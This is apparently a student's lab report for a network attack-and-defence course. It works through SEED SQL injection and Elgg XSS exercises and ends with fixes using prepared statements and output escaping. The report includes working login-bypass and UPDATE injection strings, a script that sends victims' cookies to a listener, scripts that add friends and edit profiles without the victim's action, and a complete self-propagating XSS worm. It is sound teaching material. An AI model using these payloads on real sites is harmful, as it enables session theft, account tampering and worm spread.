20222801 2022-2023-2 《网络攻防实践》 第十周作业

1.实践内容

实践内容一:
我们已经创建了一个Web应用程序,并将其托管在网站上。
该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:
任务1: 熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
任务2: 对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
任务3: 对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
任务4: SQL对抗:修复上述SQL注入攻击漏洞。

实践内容二:
为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。
任务1: 发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
任务2: 弹窗显示cookie信息:将cookie信息显示。
任务3: 窃取受害者的cookies:将cookie发送给攻击者。
任务4: 成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
任务5: 修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
任务6: 编写XSS蠕虫。
任务7: 对抗XSS攻击。

1.1SQL注入原理学习笔记

SQL注入原理学习笔记
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Username
Password

首先,当在前端userid中输入1后

在中间层会自动转化为
SELECT first_name, last_name FROM users WHERE user_id = ‘1’
(会自动在1的两边加上‘’)
所以如果你输入的是1’的话
SELECT first_name, last_name FROM users WHERE user_id = ‘1‘’
(后台在两边加上单引号后——为了方便描述,将单引号自左向右标位1,2,3,第一个单引号,之后是1,遇到第二个单引号后就闭合了,最后单独剩下一个单引号,不符合mysql语句规则,会报错)

再看第二个问题:
为什么输入1’ union select database(),user()#,
它相当于执行的语句是SELECT first_name, last_name FROM users WHERE user_id = ‘1’ union select database(),user()#`;

同样的

要是你在输入框中输入了1’ union select database(),user()#
按照之前说的系统会自动在前后加上两个‘的规则
SELECT first_name, last_name FROM users WHERE user_id = ‘1’ union select database(),user()#’

(第一个单引号,然后是1,再遇到第二个单引号,所以这个时候就把1包进去了,会让后台查询的userid就是1,后面的union就变成了sql语句了,本来输入的1’ union select database(),user()#是一大串字符串(就像你取的名字就是这一大串一样),但是黑客故意这样输入后,就会让union后面的一大段都变成了sql语句去返回查询结果了,统样第三个单引号,被你输入的#给注释掉了,所以第三个‘也不会造成什么影响,而且#会注释掉后它后面的所有东西,这个#甚至会把后面的身份验证等语句都给注释掉,破坏力就很强了)

SELECT first_name, last_name FROM users WHERE user_id = ‘1’ union select database(),user()#`;

1.2XSS跨站脚本攻击原理

跨网站脚本(Cross-site scripting,XSS) 又称为跨站脚本攻击,是一种经常出现在Web应用程序的安全漏洞攻击,也是代码注入的一种。XSS是由于Web应用程序对用户的输入过滤不足而产生的,攻击者利用网站漏洞把恶意的脚本代码注入到网页之中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害者用户可能采取Cookie窃取、会话劫持、钓鱼欺骗等各种攻击。这类攻击通常包含了HTML以及用户端脚本语言。
XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、VBScript、ActiveX、 Flash或者甚至是普通的HTML。攻击成功后,攻击者可能得到更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。

2.实践过程

首先将ubuntu虚拟机更改为自己的姓名加学号
在这里插入图片描述
同时在ubuntu系统中修改hostname
在这里插入图片描述
可以看到已经更改成功
在这里插入图片描述
再sudo service apache2 start启动Apache服务
在这里插入图片描述

打开web应用:www.SEEDLabSQLInjection.com、www.xsslabelgg.com
在这里插入图片描述
在这里插入图片描述

2.1.实验一:SEED SQL注入攻击与防御实验

2.1.1熟悉SQL语句

首先在终端使用
mysql -u root -pseedubuntu
登录MySQL数据库
在这里插入图片描述
使用use Users;切换数据库,同时使用show tables;查看数据库中的表,需要注意的是mysql控制台输入的是sql语句,是不能省略分号的
在这里插入图片描述
输入select * from credential;来查看表里的信息,发现里面有员工的姓名,EID,薪资,甚至有password
在这里插入图片描述

2.1.2对SELECT语句进行SQL注入攻击

我们打开刚才的网址,使用Alice的用户密码进行登录,发现是无法成功登录的,说明密码是被哈希加密之后的
在这里插入图片描述
用vim /var/www/SQLInjection/unsafe_home.php打开unsafe_home.php文件,查看源代码,看到web应用的数据库用户用户为root,密码为seedubuntu
在这里插入图片描述
进行登录认证时,区分admin用户及其他用户,用户信息表名为credential。
在这里插入图片描述
用admin登录
登录时正确的SQL查询语句为
SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= ’ i n p u t u n a m e ’ a n d P a s s w o r d = ’ input_uname’ and Password=’ inputunameandPassword=hashed_pwd’

通过这里的查询语句可以启示如何设置SQL攻击的方式,于是我们考虑在用户名后加上’#第一个引号是为了闭合,第二个#则是为了将后面的验证语句给注释掉,即我们应该输入Admin’#去尝试SQL攻击
在这里插入图片描述

在这里插入图片描述
这个时候会发现我们的猜想是正确的。

2.1.3对update语句的攻击

打开unsafe_edit_backend.php文件,执行vim /var/www/SQLInjection/unsafe_edit_backend.php
在源代码中找到处理update语句的地方,可以发现员工只能修改自己的个人信息,而无法修改salary,所以我们可以修改员工的salary。
在这里插入图片描述
我们这次使用Alice’#进行登录
在这里插入图片描述
可以看到其薪资为20000
我们点击edit profile进行修改(这里要注意如果网页显示缩放比例过大的话会看不到edit的按钮,所以需要进行缩放)
在这里插入图片描述
在文件里,update的语句为
UPDATE credential SET nickname=‘ i n p u t n i c k n a m e ′ , e m a i l = ′ input_nickname',email=' inputnickname,email=input_email’,address=‘ i n p u t a d d r e s s ′ , P a s s w o r d = ′ input_address', Password=' inputaddress,Password=hashed_pwd’, PhoneNumber=' i n p u t p h o n e n u m b e r ′ W H E R E I D = input_phonenumber' WHERE ID= inputphonenumberWHEREID=id

就如同上面躲避登录验证的方式一样,我们只需要在输入的新的昵称$input_nickname后加一个“’ #”,就能修改所有用户的昵称!
在这里插入图片描述

在这里插入图片描述

2.1.4SQL对抗——SQL注入漏洞的修复

我们可以将原有的SQL语句需要填写的地方将以“?”代替,使用bind_param方法,将传入的字符串参数替代字符串中的“?”符号,防止针对SQL字符串的截断。

在这里插入图片描述
同样的方式对update语句进行处理
在这里插入图片描述

2.2实验二:SEED XSS跨站脚本攻击实验

2.2.1发布恶意消息,显示警报窗口

在Elgg user profile中嵌入JavaScript程序,因此当另一个用户查看你的个人资料(profile)时,JavaScript程序将会执行并且显示一个警告窗口。下面的JavaScript程序用于显示一个警告窗口:
首先用Alice账户密码(seedalice)登陆,打开并编辑个人页面(点击如下图左上角小标,再点击edit profiles)。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
点击Edit profile
在Brief Description栏中输入,单击“save”保存设置。
在这里插入图片描述
在这里插入图片描述

2.2.2cookies信息弹窗显示

修改刚才的brief description中的信息为

即可显示当前的cookie信息。

在这里插入图片描述
在这里插入图片描述

2.2.3窃取受害者的cookies

窃取受害者的 cookies的Payloads

<script>document.write('<img src=http://127.0.0.1:5555?c='+escape(document.cookie) + ' >');</script>

在这里插入图片描述
为了捕获到escape方法中返回的变量c的值,我们打开一个终端,使用命令nc -l 5555 -v
然后保存修改的信息
在这里插入图片描述
我们可以在Get那里看到返回的cookie值

2.2.4成为受害者的朋友

我们首先通过www.xsslabelgg.com/profile/boby进入到Boby的页面,然后使用F12进入到开发者工具
在这里插入图片描述
点击添加好友后,就会收到一条post请求
在这里插入图片描述
点开这个请求,得到请求URL如下:

http://www.xsslabelgg.com/action/friends/add?friend=45&__elgg_ts=1683732812&__elgg_token=5Bz1C-1FYJl4N1yvVYvH0w
这个请求URL包含如下信息:

地址:http://www.xsslabelgg.com/action/friends/add
好友ID(friend):45

时间戳:1683732812

token:5Bz1C-1FYJl4N1yvVYvH0w

为了添加其他好友,构造下面的payload:

<script type="text/javascript">window.onload = function () {

    var Ajax = null;

    var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;

    var token = "&__elgg_token=" + elgg.security.token.__elgg_token;

   var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;

Ajax = new XMLHttpRequest();

Ajax.open("GET", sendurl, true);

Ajax.setRequestHeader("Host", "www.xsslabelgg.com");

Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");

Ajax.send();

}</script>

使用edit HTML模式在Alice的about me中添加这段Javascript代码
在这里插入图片描述
然后使用Boby的账号模拟Boby的行为
这个是在点进Alice主页之前的Boby
在这里插入图片描述
但是在点进Alice主页之后,Boby就自动添加Alice为好友了
在这里插入图片描述
我们再使用samy来做相同测试
在这里插入图片描述
发现是同样的效果
在这里插入图片描述

2.2.5修改受害者的信息

同样地,我们先在Alice的about me中添加如下代码,构造js程序

<script type="text/javascript">
    window.onload = function(){
        var userName=elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;
        var content= token + ts + "name=" + userName + "&description=<p>20222801yql</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
        var samyGuid=44;
        if(elgg.session.user.guid!=samyGuid)
        {
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST",sendurl,true);
            Ajax.setRequestHeader("Host","www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type",
            "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
	}
</script>

然后同样地登录Boby账号
在这里插入图片描述
然后就发现被强行修改了信息
在这里插入图片描述

2.2.6编写XSS蠕虫

首先登录Alice的账户
编写如下蠕虫代码:

<script id="worm" type="text/javascript">

    window.onload = function(){

        var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";

        var jsCode = document.getElementById("worm").innerHTML;

        var tailTag = "</" + "script>";

        var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);

        var userName=elgg.session.user.name;

        var guid="&guid="+elgg.session.user.guid;

        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;

        var token="&__elgg_token="+elgg.security.token.__elgg_token;

        var content= token + ts + "&name=" + userName + "&description=<p>20222801yql"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;

        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"

        var samyGuid=44;

        if(elgg.session.user.guid!=samyGuid){

            var Ajax=null;

            Ajax=new XMLHttpRequest();

            Ajax.open("POST",sendurl,true);

            Ajax.setRequestHeader("Host","www.xsslabelgg.com");

            Ajax.setRequestHeader("Content-Type",

            "application/x-www-form-urlencoded");

            Ajax.send(content);

        }

    }</script>

然后点击保存
在这里插入图片描述
这个代码通过将XSS的payload自动复制到受害者的个人资料中实现对受害者的感染。也就是说,如果你点进到一个受害者的主页中,你自己的账户也会遭到感染

在这里插入图片描述
然后现在登录samy账号,用其访问boby的主页
最开始samy信息如下
在这里插入图片描述
然后点进进入了Boby页面之后,返回到samy的主页,发现信息已经被恶意篡改了
在这里插入图片描述
从上述例子来看,我们可以直观感受到为什么叫做计算机“病毒”,能够直观感受到其传播性。

2.2.7XSS攻击的对抗措施

  • 利用模板引擎 开启模板引擎自带的 HTML 转义功能。例如: 在 ejs 中,尽量使用 <%= data %> 而不是 <%- data
    %>; 在 doT.js 中,尽量使用 {{! data } 而不是 {{= data }; 在 FreeMarker
    中,确保引擎版本高于 2.3.24,并且选择正确的 freemarker.core.OutputFormat。
  • 避免内联事件 尽量不要使用 onLoad=“onload(‘{{data}}’)”、onClick=“go(‘{{action}}’)”
    这种拼接内联事件的写法。在 JavaScript 中通过 .addEventlistener() 事件绑定会更安全。
  • 避免拼接 HTML 前端采用拼接 HTML 的方法比较危险,如果框架允许,使用 createElement、setAttribute
    之类的方法实现。或者采用比较成熟的渲染框架,如 Vue/React 等。
  • 时刻保持警惕 在插入位置为 DOM 属性、链接等位置时,要打起精神,严加防范。
  • 增加攻击难度,降低攻击后果 通过 CSP、输入长度配置、接口安全措施等方法,增加攻击的难度,降低攻击的后果。
  • 主动检测和发现 可使用 XSS 攻击字符串和自动扫描工具寻找潜在的 XSS 漏洞。

3.学习中遇到的问题及解决

问题1:一开始对SQL注入的原理不理解,不知道单引号判别等方法是为什么,以及最后为什么可以成功获取到数据库的内容
解决:查阅资料,询问同学,通过一个实际的例子,在草稿纸上画了一遍过程最后成功理解原理

4.实践总结

这次的实验很有趣!一个是SQL注入能够攻进数据库,拿到信息甚至还可以修改信息,在另一个实验中也看到了XSS攻击的过程,并且直观感受到了为何叫做计算机“病毒”,在日后的防护意识也会更加增强。

参考资料

https://blog.csdn.net/longtangbin/article/details/109093092(SQL注入原理)
https://blog.csdn.net/tianjindong0804/article/details/127584270(XSS攻击原理)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值